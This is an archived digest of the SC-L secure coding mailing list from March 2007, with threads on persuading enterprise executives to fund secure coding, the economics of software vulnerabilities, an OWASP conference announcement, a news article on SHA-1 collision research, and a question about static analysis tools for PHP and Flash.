To this end, the decks I've seen quickly moved beyond motivation into solution. Here, you have to begin thinking about your current org. See:


http://www.cigital.com/justiceleague/2007/02/22/keeping-up-with-the-jones-security-initiatives/


To summarize my entry, your organization probably didn't start thinking about software security yesterday, and they likely have something in place--even if it isn't to your satisfaction yet. Likewise, true strengths lurk, waiting to be leveraged. Out here in mailing-list-land, we can't be sure of specifics, but, I've got some premonitions. Insurance companies I've seen seem to mix small wild-wild-west (Developers cowboys 'follow' Agile as an excuse to just slam code without process) teams with those following a largely monolithic waterfall-like (regardless of how 'iterative' it's described) development process in their application portfolio. In either case, an in-project risk officer exists, but the function seems overshadowed by deadlines, features, and cost. 


On the topic of the framework slide, you mentioned a _very_ important quality: who, what, when structure. I wrote an IEEE S&P article on this topic long ago: 


www.cigital.com/papers/download/j2bsi.pdf


but you can also look at my talk from OWASP's DC conference in '05 on the same topic for slide help. 


What about the roadmap--the way forward? Even if currently ineffective, current security items like an architectural review checklist present opportunity with which to start your roadmap. When working on your roadmap focus on how small iterative changes in existing elements (like that checklist) can save you on security effort (spending) later. Pick sure wins and to communicate value, show a metric that will demonstrate the savings. Propose measurements up front, if only verbally, as part of this presentation. For instance: Do your applications have available a custom implementation of input validation routines built on top of Struts' Validator framework? Ask about its use in the architectural checklist. Propose to measure penetration testing results in the input filtering class and correlate it with checklist answers. As you collect data you'll be building (or possibly but not hopefully destroying) the case for your expanded checklist and the savings it provides. There are a host of hidden measures embedded in this example, each shining light in a particular direction. Make sure each and every initiative can make use of such measures as justification. 


Well, this is long enough for now. If there are topics you'd like me to enumerate more fully, or if I've missed something, shoot me an email.


Hope this helps, and sorry I didn't just attach a PPT ;)


----
John Steven
Technical Director; Principal, Software Security Group
Direct: (703) 404-5726 Cell: (703) 727-4034
Key fingerprint = 4772 F7F3 1019 4668 62AD 94B0 AE7F 


Blog: http://www.cigital.com/justiceleague
http://www.cigital.com
Software Confidence. Achieved.



*************************************************************************
This communication, including attachments, is
for the exclusive use of addressee and may contain proprietary,
confidential and/or privileged information.  If you are not the intended
recipient, any use, copying, disclosure, dissemination or distribution is
strictly prohibited.  If you are not the intended recipient, please notify
the sender immediately by return e-mail, delete this communication and
destroy all copies.
*************************************************************************

-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20070320/07c170a9/attachment-0001.html 

From dave.wichers at aspectsecurity.com  Tue Mar 20 09:04:45 2007
From: dave.wichers at aspectsecurity.com (Dave Wichers)
Date: Tue, 20 Mar 2007 10:04:45 -0400
Subject: [SC-L] Announcing: 6th OWASP AppSec Conference - May 15-17 2007 -
	Milan, Italy
Message-ID: <B9A412898630124ABE8350F4EBD32E8433E06F@mymail.aspectsecurity.com>

Dear Colleague,

 

OWASP is proud to announce its 6th Application Security Conference to be
held May 15-17 at the Marriott in Milan, Italy. Please reserve these
dates!! This facility looks to be the nicest facility we have had the
opportunity to use yet for our European conferences.

 

This conference will include:

- Training (On May 15th) Three 1-day application security courses are
being offered the day prior to the conference

- Main Conference (May 16-17) This year's conference will include daily
keynotes, presentations, refereed papers, lots of OWASP projects, and
two panels to encourage discussion amongst the attendees.

- Evening Social Event (May 16) - We are planning a social event as we
do each conference which facilitates the attendees ability to mingle and
get to know each other better.

 

Current details on the conference are available on the OWASP website at 

http://www.owasp.org/index.php/6th_OWASP_AppSec_Conference_-_Italy_2007
This conference is expected to be kicked off with a keynote by a
representative from Microsoft on "The Benefits of the SDL initiative to
Microsoft and its Customers". This should be similar to the presentation
that Mike Howard gave to kick off the 5th OWASP AppSec Conference which
was the highlight of that conference (in my opinion). It discusses the
Microsoft Security Development Lifecycle (SDL) and the benefits
Microsoft and its customers have gained by developing and adopting it.

 

OWASP's AppSec conferences are dedicated to real-world application
security issues and solutions. You'll learn many aspects of application
security, including people, process, and technology perspectives.

 

REGISTRATION DETAILS: As a non-profit charitable organization, OWASP has
been able to keep the cost to 450 Euro's per seat. For OWASP Members
it's only 400 Euros. These prices are further reduced by 50 Euros for
early registration prior to April 16th.

 

Note: Payment for the conference will actually have to be in US dollars
as OWASP currently has no mechanism for accepting Euro's for payment
with our current registration system.

 

Registration is available at: 

http://guest.cvent.com/EVENTS/Register/IdentityConfirmation.aspx?e=4abc9
35c-a7f8-47e1-83a0-23a2c36faf26 

 

PLEASE NOTE THAT ALL TICKETS ARE NON-REFUNDABLE TO REDUCE ADMINISTRATION
COSTS

 

TRAINING COURSES (May 15):

These classes will be held at the Marriott. Each class is 650 Euros for
conference attendees (and includes lunch).

 

  - FOUNDATIONS OF APPLICATION SECURITY

  - WEB SERVICES AND XML SECURITY

  - ADVANCED .NET SECURITY

 

More details on these training courses are available at: 

http://www.owasp.org/index.php/6th_OWASP_AppSec_Conference_-_Italy_2007/
Training 

 

EVENING SOCIAL EVENT - May 16th - An optional dinner event.

 

This event involves a dinner at a nearby restaurant from 7-9 PM,
followed by drinks at local watering holes. We hope to see all of you
there as this is a great chance to mingle and meet many members of the
OWASP community.

 

ACCOMMODATIONS: Information about local accommodations, including
reduced rate rooms is available at:

http://www.owasp.org/index.php/6th_OWASP_AppSec_Conference_-_Italy_2007#
Accomodations 

 

If you know others that would be interested in attending the 6th OWASP
AppSec Conference, please forward them this email and let them know
about this opportunity.

 

Please contact me with any questions. Looking forward to seeing you all
there!

 

Thanks, Dave

 

Dave Wichers, OWASP Conferences Chair

The OWASP Foundation

http://www.owasp.org

-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20070320/defe13aa/attachment.html 

From ljknews at mac.com  Tue Mar 20 09:24:57 2007
From: ljknews at mac.com (ljknews)
Date: Tue, 20 Mar 2007 09:24:57 -0500
Subject: [SC-L] Economics of Software Vulnerabilities
In-Reply-To: <006701c76aef$198e9090$4ea7d280@central.purdue.lcl>
References: <83B3489DF1064F4E90218770D953D36107B8EA@va-mail.cigital.com>
	<45FEEBC9.6060703@novell.com>
	<006701c76aef$198e9090$4ea7d280@central.purdue.lcl>
Message-ID: <p05200f15c2259e7524e0@[192.168.1.254]>

At 8:55 AM -0400 3/20/07, Michael S Hines wrote:
> I'm not sure what your sources are but from what I'm hearing and reading the
> problem is that there are many missing drivers for what have become standard
> peripherals that people are used to - and some of the vendors are reluctant
> to develop new drivers (the driver technology changed in Vista - so all
> drivers have to be reworked).
> 
> MP3 players, ePhones, PDA's, etc. have become standard components in many
> places...  and they don't work with Vista - yet (if ever).

That is because the features provided by many add-on products depended on
the longstanding loose state of security on Microsoft Windows.

> It's the feature thing.... not that users are shunning security.
> 
> And, at least to me, it is an indication that M$ did not understand the
> marketplace or rushed the (incomplete) product to market.  There's more than
> one way to foul up a new product launch.

The previous Microsoft mode had been to favor anything that would ease
feature implementation over anything that would provide security.
-- 
Larry Kilgallen

From ed.reed at aesec.com  Tue Mar 20 09:54:09 2007
From: ed.reed at aesec.com (Ed Reed)
Date: Tue, 20 Mar 2007 10:54:09 -0400
Subject: [SC-L] Economics of Software Vulnerabilities
In-Reply-To: <Pine.GSO.4.51.0703200044190.19492@faron.mitre.org>
References: <83B3489DF1064F4E90218770D953D36107B8EA@va-mail.cigital.com>
	<45FEEBC9.6060703@novell.com> <45FEF226.3090803@aesec.com>
	<45FF111C.9010707@novell.com>
	<Pine.GSO.4.51.0703200044190.19492@faron.mitre.org>
Message-ID: <45FFF591.1010404@aesec.com>

Steven M. Christey wrote:
> On Mon, 19 Mar 2007, Crispin Cowan wrote:
>
>   
>> Since many users are economically motivated, this may explain why users
>> don't care much about security :)
>>     
>
> But... but... but...
>
> I understand the sentiment, but there's something missing in it.  Namely,
> that the costs related to security are not really quantifiable yet, so
> consumers are not working with the best information.  Then there's simple
> lack of understanding, such as that exmplified by an individual consumer -
> their computer gets really bogged down and slow, and they don't know
> what's happening, so they go buy a new computer, when it was "just" a ton
> of spyware from surfing habits that they didn't know were unsafe, or they
> were running some zombie that was sucking up all their bandwidth for warez
> distribution.
>
>   
That's the sort of economic inefficiences that I'm talking about -
unfortunately, economic forces operate on scales of decades and
centuries, not months.  While we're still in this phase of rapid
expansion of Information Technology growth software moves too fast for
regulations and sluggish consumer reaction to force changes on suppliers.
>>> Eventually I think they'll get fed up and there'll be a consumer uprising.
>>>
>>>       
>> Why do you think it will be an uprising? Why not a gradual shift of the
>> vendors just get better, exactly as fast as the users need them to?
>>     
>
> I really really wish for an uprising, but unfortunately I'm not too
> optimistic right now.  Off the top of my head, I can't think of any
> consumer uprisings in other industries, although the US' recent decline in
> fuel-inefficient vehicles is sort of close.  Didn't some large
> brick-and-mortar companies heavily criticize the software industry a
> couple years ago?  I don't know how that played out.
>
>   
Not all of these are consumer uprisings - some are, some aren't - but I
think they're all examples of the kinds of economic adjustments that
occur in "mature" markets.

    * Rise and Fall of unions (the triumph of worker safety and rights
      over egregious industrial working conditions, and the subsequent
      triumph of increased productivity over lethargic labor
      responsiveness to international competitive pressures)

    * "Unsafe at any speed" (the triumph of consumer safety over
      industrial laziness)

    * Underwriter Laboratories (the triumph of the fire insurance
      industry over shoddy electrical manufacturers)

    * Alternating Current power distribution (still waiting for
      consensus on 110v/220v disagreement)

    * The Rise and Fall and Rise of AT&T (industry consolidation,
      followed by forced divestiture, followed by reconsolidation)

    * demise of IBM PS2 (the triumph of commoditization over monopoly
      control)

    * VHS (vs BetaMax - the triumph of content over technology)

Note that only the last two of these occurred "quickly" - within a
decade or so or the change that set the stage for them, and they might
both be better characterized as featurism competition.

But you get my point - Auto safety wasn't an issue in the 1st half
century of the industry, it took unions a couple of centuries to gain
strength in the face of the industrial revolution (and another half
century to squander their good will), and it took decades for the fire
insurance industry to develop and respond to the new dangers introduced
by poor electrical wiring.

Software and computer technology are having similar kinds of sweeping
productivity gains (though it took 40 years or longer for the effect to
gain enough momentum to be really measurable).  And we have already seen
the costs of shoddy product born mainly by the end consumers, rather
than by the producers.  I'm just saying that over the long run, that
imbalance will shift and even out - I just hope to live to see it,
whether it happens before I retire, or not.

Ed (whose beard IS gray and who DOES mutter to himself that you can't
add security to a system if its not secure to begin with)


> - Steve
>
>
>
>   

-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20070320/2029a94e/attachment-0001.html 

From gunnar at arctecgroup.net  Tue Mar 20 15:13:06 2007
From: gunnar at arctecgroup.net (Gunnar Peterson)
Date: Tue, 20 Mar 2007 15:13:06 -0500
Subject: [SC-L] How is secure coding sold within enterprises?
In-Reply-To: <773F863A6009244B87E6E866AFC7DB46019CA595@AD1HFDEXC309.ad1.prod>
References: <773F863A6009244B87E6E866AFC7DB46019CA595@AD1HFDEXC309.ad1.prod>
Message-ID: <1174421586.46004052f0e69@my.visi.com>

JD Meier had a good post recently on influencing without authority, which is the
position security finds itself in:

1. assume all potential allies
2. clarify goals and priorities
3. diagnose the allies world
4. identify relevant currencies
5. deal with relationships
6. influence through give and take

http://blogs.msdn.com/jmeier/archive/2007/03/09/influencing-without-authority.aspx

how does this translate to app security? well i think it means find
stakeholders/allies wherever you can. any group that is interested try to 1)
educate them about software risks and software security and 2) give them
tools/process they can bring to bear on the problem. specifically, legal teams
are generally very interested in risks, so i have seen several legal teams at
very large companies deploy parts of the OWASP legal project to good effect.
business analysts can be trained on how specify some security concerns in use
cases/user stories. qa teams can be educated on security specific testing tools
and techniques, architects can learn how to design reusable security services,
and so on. so whatever group that seems eager to get involved it makes sense to
engage, once security concerns are embedded in test plans and use cases, aligned
with business goals, the software security effort is not a one off from a
developer point of view.

find all allies, turn none away, arm them with knowledge, turn em loose.

the other issue is that there are many security services that you cannot expect
an app project to deliver on its own. skyscrapers should not have to have their
own fighter jets to protect against people flying planes into them, that is why
you have an air force. making the case for platform security can be hard, but
that is where the architects have to help (i seem to recall that security is a
nonfunctional requirement and that architects are supposed to own non
functional requirements). one of the reasons i like browser-based federated
identity is because you can externalize some authN code from the app, you get
stronger identity tokens across the wire, you don't have developers creating
their own authN code, and of course the users get SSO and SLO. this is like app
armor, in my view, a reference model for security services - improved security
mechanism, great usability, business value, and a simplified programming model.

-gp

Quoting "McGovern, James F (HTSC, IT)" <James.McGovern at thehartford.com>:

> Thanks for the response. I already own the book and understand how to engage
> vendors. Where I am seeking assistance is all the work that goes on within a
> large enterprise before these two things occur. The ideal situation for me
> would be to get my hands on the five to ten page Powerpoint slide deck that
> others who have blazed this path before me have used to sell the notion to
> their executives.
>
> -----Original Message-----
> From: Andrew van der Stock [mailto:vanderaj at owasp.org]
> Sent: Monday, March 19, 2007 5:06 PM
> To: McGovern, James F (HTSC, IT)
> Cc: SC-L
> Subject: Re: [SC-L] How is secure coding sold within enterprises?
>
>
> In terms of creating a SDLC, pop out to Borders and get Howard and Lipner's
> "The Security Development Lifecycle" ISBN 9780735622142
>
> http://www.microsoft.com/mspress/books/8753.aspx
>
> It is simply the best text I've read in a long time.
>
> You may be interested in the work Mark Curphey et al is doing at his new
> start up. They launched an ISM portal a couple of weeks back.
>
> http://www.ism-community.org/
>
> If you're just after ideas on how to engage vendors, check out Curphey's blog
> for some nice insider posts:
>
>
http://securitybuddha.com/2007/03/07/top-10-tips-for-hiring-web-application-pen-testers/
>
http://securitybuddha.com/2007/03/07/top-ten-tips-for-hiring-security-code-reviewers/
>
http://securitybuddha.com/2007/03/08/top-ten-tips-for-managing-technical-security-folks/
>
> He ran Foundstone's services for a while, and built up a pretty good
> consultancy.
>
> The sort of metrics you're after are notoriously hard to find out in the
> wild. There's some folks capturing screenshots of enterprise dashboards. This
> may or may not help at all.
>
> http://dashboardspy.com/
>
> Thanks,
> Andrew
>
>
> On 3/19/07 4:12 PM, "McGovern, James F (HTSC, IT)"
> <James.McGovern at thehartford.com> wrote:
>
>
>
> I agree with your assessment of how things are sold at a high-level but still
> struggling in that it takes more than just graphicalizing of your points to
> sell, hence I am still attempting to figure out a way to get my hands on some
> PPT that are used internal to enterprises prior to consulting engagements and
> I think a better answer will emerge. PPT may provide a sense of budget,
> timelines, roles and responsibilities, who needed to buy-in, industry
> metrics, quotes from noted industry analysts, etc that will help shortcut my
> own work so I can start moving towards the more important stuff.
>
>
>
> -----Original Message-----
> From: Andrew van der Stock  [ mailto:vanderaj at owasp.org]
> Sent: Monday, March 19, 2007 2:50  PM
> To: McGovern, James F (HTSC, IT)
> Cc:  SC-L
> Subject: Re: [SC-L] How is secure coding sold within  enterprises?
>
> There are two major methods:
>
>
>
>
> 1.	Opportunity cost / competitive advantage (the  Microsoft model)
>
> 2.	Recovery cost reductions (the model used by most  financial institutions)
>
>
>
> Generally,  opportunity cost is where an organization can further its goals
> by a secure  business foundation. This requires the CIO/CSO to be able to
> sell the business  on this model, which is hard when it is clear that many
> businesses have been  founded on insecure foundations and do quite well
> nonetheless. Companies that  choose to be secure have a competitive
> advantage, an advantage that will  increase over time and will win conquest
> customers. For example (and this is  my humble opinion), Oracle's security is
> a long standing unbreakable joke, and  in the meantime MS ploughed billions
> into fixing their tattered reputation by  making it a competitive advantage,
> and thus making their market dominance  nearly complete. Oracle is now paying
> for their CSO's mistake in not  understanding this model earlier. Forward
> looking financial institutions are  now using this model, such as my old
> bank's (with its SMS transaction  authentication feature) winning many new
> customers by not only promoting  themselves as secure, but doing the right
> thing and investing in essentially  eliminating Internet Banking fraud. It
> saves them money, and it works well for  customers. This is the best model,
> but the hardest to sell.
>
> The second  model is used by most financial institutions. They are mature
> risk managers  and understand that a certain level of risk must be taken in
> return for doing  business. By choosing to invest some of the potential or
> known losses in  reducing the potential for massive losses, they can reduce
> the overall risk  present in the corporate risk register, which plays well to
> shareholders. For  example, if you invest $1m in securing a cheque clearance
> process worth (say)  $10b annually to the business, and that reduces check
> fraud by $5m per year  and eliminates $2m of unnecessary overhead every year,
> security is an easy  sell with obvious targets to improve profitability. A
> well managed operational  risk group will easily identify the riskiest
> aspects of a mature company's  activities, and it's easy to justify
> improvements in those areas.
>
> The  FUD model (used by many vendors - "do this or the SOX boogeyman will get
> you")  does not work.
>
> The do nothing model (used by nearly everyone who  doesn't fall into the
> first two categories) works for a time, but can  spectacularly end a
> business. Card Systems anyone? Unknown risk is too risky a  proposition, and
> is plain director negligence in my view.
>
> Thanks,
> Andrew
>
>
> On 3/19/07 11:35 AM, "McGovern, James F  (HTSC, IT)"
> <James.McGovern at thehartford.com> wrote:
>
>
>
>
> I am attempting to figure out how other Fortune enterprises have  went about
> selling the need for secure coding practices and can't seem to  find the
> answer I seek. Essentially, I have discovered that one of a few  scenarios
> exist (a) the leadership chain was highly technical and  intuitively
> understood the need (b) the primary business model of the  enterprise is
> either banking, investments, etc where the risk is perceived  higher if it is
> not performed (c) it was strongly encouraged by a member of  a very large
> consulting firm (e.g. McKinsey, Accenture,  etc).
>
> I would like to understand what does the Powerpoint deck that  employees of
> Fortune enterprises use to sell the concept PRIOR  to bringing in consultants
> and vendors to help them fulfill the need. Has  anyone ran across any PPT
> that best outlines this for demographics where the  need is real but
> considered less important than other  intiatives?
>
>
> *************************************************************************
> This  communication, including attachments, is
> for the exclusive use of  addressee and may contain proprietary,
> confidential and/or privileged  information.  If you are not the intended
> recipient, any use,  copying, disclosure, dissemination or distribution is
> strictly  prohibited.  If you are not the intended recipient, please  notify
> the sender immediately by return e-mail, delete this communication  and
> destroy all  copies.
> *************************************************************************
>
>
>
>   _____
>
> _______________________________________________
> Secure  Coding mailing list (SC-L) SC-L at securecoding.org
> List information,  subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
> List  charter available at - http://www.securecoding.org/list/charter.php
> SC-L  is hosted and moderated by KRvW Associates, LLC ( http://www.KRvW.com)
> as a free,  non-commercial service to the software security  community.
> _______________________________________________
>
>
>
>
>
>
>
>   _____
>
> _______________________________________________
> Secure Coding mailing list (SC-L) SC-L at securecoding.org
> List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
> List charter available at - http://www.securecoding.org/list/charter.php
> SC-L is hosted and moderated by KRvW Associates, LLC ( http://www.KRvW.com)
> as a free, non-commercial service to the software security community.
> _______________________________________________
>
>
>
>
>
>


From James.McGovern at thehartford.com  Tue Mar 20 15:16:17 2007
From: James.McGovern at thehartford.com (McGovern, James F (HTSC, IT))
Date: Tue, 20 Mar 2007 16:16:17 -0400
Subject: [SC-L] Question on User Groups
In-Reply-To: <773F863A6009244B87E6E866AFC7DB46019CA58D@AD1HFDEXC309.ad1.prod>
Message-ID: <773F863A6009244B87E6E866AFC7DB460399978E@AD1HFDEXC309.ad1.prod>

Quick question for folks here. I participate in multiple user-groups and the topic of secure coding practices has never appeared. What would it take for a software vendor on this list to present to the CT OO Users Group ( www.cooug.org). These events are well attended.
 
Likewise, I am also a member of the advisory board for the Technology Managers Forum in NYC ( www.techforum.com) where we are working on an upcoming agenda. I would like to see secure coding practices become a panel topic here as well. Likewise, for folks who want to establish booths, sponsorship opportunities are also available.
 
Between these two events, you could have the opportunity to work with lots of Fortune enterprises in the Northeast. Besides, we are more interesting than the usual government stuff :-)


*************************************************************************
This communication, including attachments, is
for the exclusive use of addressee and may contain proprietary,
confidential and/or privileged information.  If you are not the intended
recipient, any use, copying, disclosure, dissemination or distribution is
strictly prohibited.  If you are not the intended recipient, please notify
the sender immediately by return e-mail, delete this communication and
destroy all copies.
*************************************************************************

-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20070320/ecd34c77/attachment.html 

From James.McGovern at thehartford.com  Tue Mar 20 15:18:35 2007
From: James.McGovern at thehartford.com (McGovern, James F (HTSC, IT))
Date: Tue, 20 Mar 2007 16:18:35 -0400
Subject: [SC-L] Economics of Software Vulnerabilities
In-Reply-To: <45FEF226.3090803@aesec.com>
Message-ID: <773F863A6009244B87E6E866AFC7DB460399978F@AD1HFDEXC309.ad1.prod>

The uprising from customers may already be starting. It is called open source. The real question is what is the duty of others on this forum to make sure that newly created software doesn't suffer from the same problems as the commercial closed source stuff...

-----Original Message-----
From: sc-l-bounces at securecoding.org
[mailto:sc-l-bounces at securecoding.org]On Behalf Of Ed Reed
Sent: Monday, March 19, 2007 4:27 PM
To: Crispin Cowan
Cc: sc-l at securecoding.org
Subject: Re: [SC-L] Economics of Software Vulnerabilities


Crispin Cowan wrote:
> Crispin, now believes that users are fundamentally what holds back security
>
>   
I was once berated on stage by Jamie Lewis for sounding like I was
placing the blame for poor security on customers themselves.

I have moved on, and believe, instead, that it is the economic
inequities - the mis-allocation of true costs - that is really to blame.

Vendors are getting better, because they're being shamed by publicity -
not because they're bearing more of the costs that users incur due to
shoddy software.

But as bad as the costs are that are born by users of shoddy software
(patch costs, loss of utility, denial of service, licenses for
anti-virus software to make up for the egregiously bad code that leaves
buffer overflow exploits available that anyone can leverage to take over
a system) - as bad as those costs are they're still swapped by the value
- increased productivity and adrenalin rush - that commercial
feature-ism delivers.

Add the slowly-warmed pot phenomenon (apocryphal as it may be) -
customers don't jump out of the boiling pot because they're too invested
to walk away.

Eventually I think they'll get fed up and there'll be a consumer uprising.

Until then let's encourage better coding practices and secure designs
and deep thought about "what policy do I want enforced". 

(obligatory plug for high assurance)

But, let's not confuse code quality with code security, either.  It
isn't secure (against hostile code) until you can verify that it (a)
does what the policy says it should do (functional testing) and (b)
doesn't do what the security policy says it shouldn't do (fuzzing is
just a way of performing boundary tests on inputs - it tells you nothing
about hidden behaviors of the system, and you can't tell anything about
those without formal analysis and good life cycle configuration management).

Ed
_______________________________________________
Secure Coding mailing list (SC-L) SC-L at securecoding.org
List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
List charter available at - http://www.securecoding.org/list/charter.php
SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
as a free, non-commercial service to the software security community.
_______________________________________________


*************************************************************************
This communication, including attachments, is
for the exclusive use of addressee and may contain proprietary,
confidential and/or privileged information.  If you are not the intended
recipient, any use, copying, disclosure, dissemination or distribution is
strictly prohibited.  If you are not the intended recipient, please notify
the sender immediately by return e-mail, delete this communication and
destroy all copies.
*************************************************************************



From Kevin.Wall at qwest.com  Tue Mar 20 20:16:08 2007
From: Kevin.Wall at qwest.com (Wall, Kevin)
Date: Tue, 20 Mar 2007 20:16:08 -0500
Subject: [SC-L] Economics of Software Vulnerabilities
In-Reply-To: <773F863A6009244B87E6E866AFC7DB460399978F@AD1HFDEXC309.ad1.prod>
References: <45FEF226.3090803@aesec.com>
	<773F863A6009244B87E6E866AFC7DB460399978F@AD1HFDEXC309.ad1.prod>
Message-ID: <CF8B26B8B49184429CB084616B00193003C76FF9@itomae2km05.AD.QINTRA.COM>

James McGovern apparently wrote...

> The uprising from customers may already be starting. It is 
> called open source. The real question is what is the duty of 
> others on this forum to make sure that newly created software 
> doesn't suffer from the same problems as the commercial 
> closed source stuff...

While I agree that the FOSS movement is an uprising, it:
	1) it's being pushed by "customers" so much as IT developers
	2) the "uprising" isn't so much as being an outcry against
	   security as it is against not being able to have the
	   desired features implemented in a manner desired.

At least that's how I see it.

With rare exceptions, in general, I do not find that the
open source community is that much more security consciousness
than those producing closed source. Certainly this seems true
if measured in terms of vulnerabilities and we measure "across
the board" (e.g., take a random sampling from SourceForge) and
not just our favorite security-related applications.

Where I _do_ see a remarkable difference is that the open source
community seems to be in general much faster in getting security
patches out once they are informed of a vulnerability. I suspect
that this has to do as much with the lack of bureaucracy in open
source projects as it does the fear of loss of reputation to their
open source colleagues.

However, this is just my gut feeling, so your gut feeling my differ.
(But my 'gut' is probably bigger than yours, so feeling prevails. ;-)
Does anyone have any hard evidence to back up this intuition. I
thought that Ross Anderson had done some research along those lines.

-kevin
---
Kevin W. Wall		Qwest Information Technology, Inc.
Kevin.Wall at qwest.com	Phone: 614.215.4788
"It is practically impossible to teach good programming to students
 that have had a prior exposure to BASIC: as potential programmers
 they are mentally mutilated beyond hope of regeneration"
    - Edsger Dijkstra, How do we tell truths that matter?
      http://www.cs.utexas.edu/~EWD/transcriptions/EWD04xx/EWD498.html 


This communication is the property of Qwest and may contain confidential or
privileged information. Unauthorized use of this communication is strictly 
prohibited and may be unlawful.  If you have received this communication 
in error, please immediately notify the sender by reply e-mail and destroy 
all copies of the communication and any attachments.


From michaelslists at gmail.com  Wed Mar 21 04:37:27 2007
From: michaelslists at gmail.com (Michael Silk)
Date: Wed, 21 Mar 2007 20:37:27 +1100
Subject: [SC-L] Chinese Professor Cracks Fifth Data Security Algorithm
	(SHA-1)
Message-ID: <5e01c29a0703210237u19b27651k447a535ae33fcec3@mail.gmail.com>

Awesome.

-------------------

  <http://en.epochtimes.com/tools/printer.asp?id=50336>


  The Epoch Times

  Home > Science & Technology

  Chinese Professor Cracks Fifth Data Security Algorithm

  SHA-1 added to list of "accomplishments"

  Central News Agency

  Jan 11, 2007


  Associate professor Wang Xiaoyun of Beijing's Tsinghua University and
  Shandong University of Technology has cracked SHA-1, a widely used data
  security algorithm. (Daniel Berehulak/Getty Images)

  TAIPEI-Within four years, the U.S. government will cease to use SHA-1
  (Secure Hash Algorithm) for digital signatures, and convert to a new and
  more advanced "hash" algorithm, according to the article "Security
  Cracked!" from New Scientist . The reason for this change is that
associate
  professor Wang Xiaoyun of Beijing's Tsinghua University and Shandong
  University of Technology, and her associates, have already cracked SHA-1.

  Wang also cracked MD5 (Message Digest 5), the hash algorithm most commonly
  used before SHA-1 became popular. Previous attacks on MD5 required over a
  million years of supercomputer time, but Wang and her research team
  obtained results using ordinary personal computers.

  In early 2005, Wang and her research team announced that they had
succeeded
  in cracking SHA-1. In addition to the U.S. government, well-known
companies
  like Microsoft, Sun, Atmel, and others have also announced that they will
  no longer be using SHA-1.

  Two years ago, Wang announced at an international data security conference
  that her team had successfully cracked four well-known hash
algorithms-MD5,
  HAVAL-128, MD4, and RIPEMD-within ten years.

  A few months later, she cracked the even more robust SHA-1.

  Focus and Dedication

  According to the article, Wang's research focusses on hash algorithms.

  A hash algorithm is a mathematical procedure for deriving a 'fingerprint'
  of a block of data. The hash algorithms used in cryptography are
"one-way":
  it is easy to derive hash values from inputs, but very difficult to work
  backwards, finding an input message that yields a given hash value.
  Cryptographic hash algorithms are also resistant to "collisions": that is,
  it is computationally infeasible to find any two messages that yield the
  same hash value.

  Hash algorithms' usefulness in data security relies on these properties,
  and much research focusses in this area.

  Recent years have seen a stream of ever-more-refined attacks on MD5 and
  SHA-1-including, notably, Wang's team's results on SHA-1, which permit
  finding collisions in SHA-1 about 2,000 times more quickly than
brute-force
  guessing. Wang's technique makes attacking SHA-1 efficient enough to be
  feasible.

  MD5 and SHA-1 are the two most extensively used hash algorithms in the
  world. These two algorithms underpin many digital signature and other
  security schemes in use throughout the international community. They are
  widely used in banking, securities, and e-commerce. SHA-1 has been
  recognized as the cornerstone for modern Internet security.

  According to the article, in the early stages of Wang's research, there
  were other researchers who tried to crack it. However, none of them
  succeeded. This is why in 15 years hash research had become the domain of
  hopeless research in many scientists' minds.

  Wang's method of cracking algorithms differs from others'. Although such
  analysis usually cannot be done without the use of computers, according to
  Wang, the computer only assisted in cracking the algorithm. Most of the
  time, she calculated manually, and manually designed the methods.

  "Hackers crack passwords with bad intentions," Wang said. "I hope efforts
  to protect against password theft will benefit [from this]. Password
  analysts work to evaluate the security of data encryption and to search
for
  even more secure
algorithms."

  "On the day that I cracked SHA-1," she added, "I went out to eat. I was
  very excited. I knew I was the only person who knew this world-class
  secret."

  Within ten years, Wang cracked the five biggest names in cryptographic
hash
  algorithms. Many people would think the life of this scientist must be
  monotonous, but "That ten years was a very relaxed time for me," she says.

  During her work, she bore a daughter and cultivated a balcony full of
  flowers. The only mathematics-related habit in her life is that she
  remembers the license plates of taxi cabs.

  With additional reporting by The Epoch Times.

-- 
mike
00110001 <3 00110111
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20070321/f61032d9/attachment.html 

From indrek.saar at gmail.com  Wed Mar 21 07:48:41 2007
From: indrek.saar at gmail.com (Indrek Saar)
Date: Wed, 21 Mar 2007 14:48:41 +0200
Subject: [SC-L] statical analysis tools: language supports...
Message-ID: <99da14650703210548l28d62e96j2c768b55177b94dd@mail.gmail.com>

Hi guys,

I have question about source-code statical analysis tools that are available
at the market now.
Are there tools that support C/C++, Java, PHP, Flash (actionscript) all in
one?
Most of the tools support C/C++ and Java, but I have not found any that can
handle also PHP.

Do you know some? Or have some information that some tool provider has plan
for supporting PHP. And Flash.


Indrek Saar.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20070321/59c83d29/attachment.html 

From James.McGovern at thehartford.com  Wed Mar 21 08:44:43 2007
From: James.McGovern at thehartford.com (McGovern, James F (HTSC, IT))
Date: Wed, 21 Mar 2007 09:44:43 -0400
Subject: [SC-L] Economics of Software Vulnerabilities
In-Reply-To: <CF8B26B8B49184429CB084616B00193003C76FF9@itomae2km05.AD.QINTRA.COM>
Message-ID: <773F863A6009244B87E6E866AFC7DB4603999793@AD1HFDEXC309.ad1.prod>

Kevin, I would love to see open source communities embrace secure coding practices with stronger assistance from software vendors in this space. This of course requires going beyond "audit" capability and figuring out ways to get the tools into developers hands.

As a contributor to open source projects, I struggle with introducing security as I already contribute my time with the support/blessing of my significant other but she wouldn't let me spend hard cash on tools for contributing to open source. I wish there was a better answer for us all in this seat.

Generally speaking, many of my peers outside of work contribute to open source with the rationale that it a safer place from a political perspective to try things out, kinda like a POC where the outcome doesn't have to be successful and it won't show up on your annual review. Lately, I haven't figured out how to reduce my own exposure...

-----Original Message-----
From: Wall, Kevin [mailto:Kevin.Wall at qwest.com]
Sent: Tuesday, March 20, 2007 9:16 PM
To: McGovern, James F (HTSC, IT)
Cc: sc-l at securecoding.org
Subject: RE: [SC-L] Economics of Software Vulnerabilities


James McGovern apparently wrote...

> The uprising from customers may already be starting. It is 
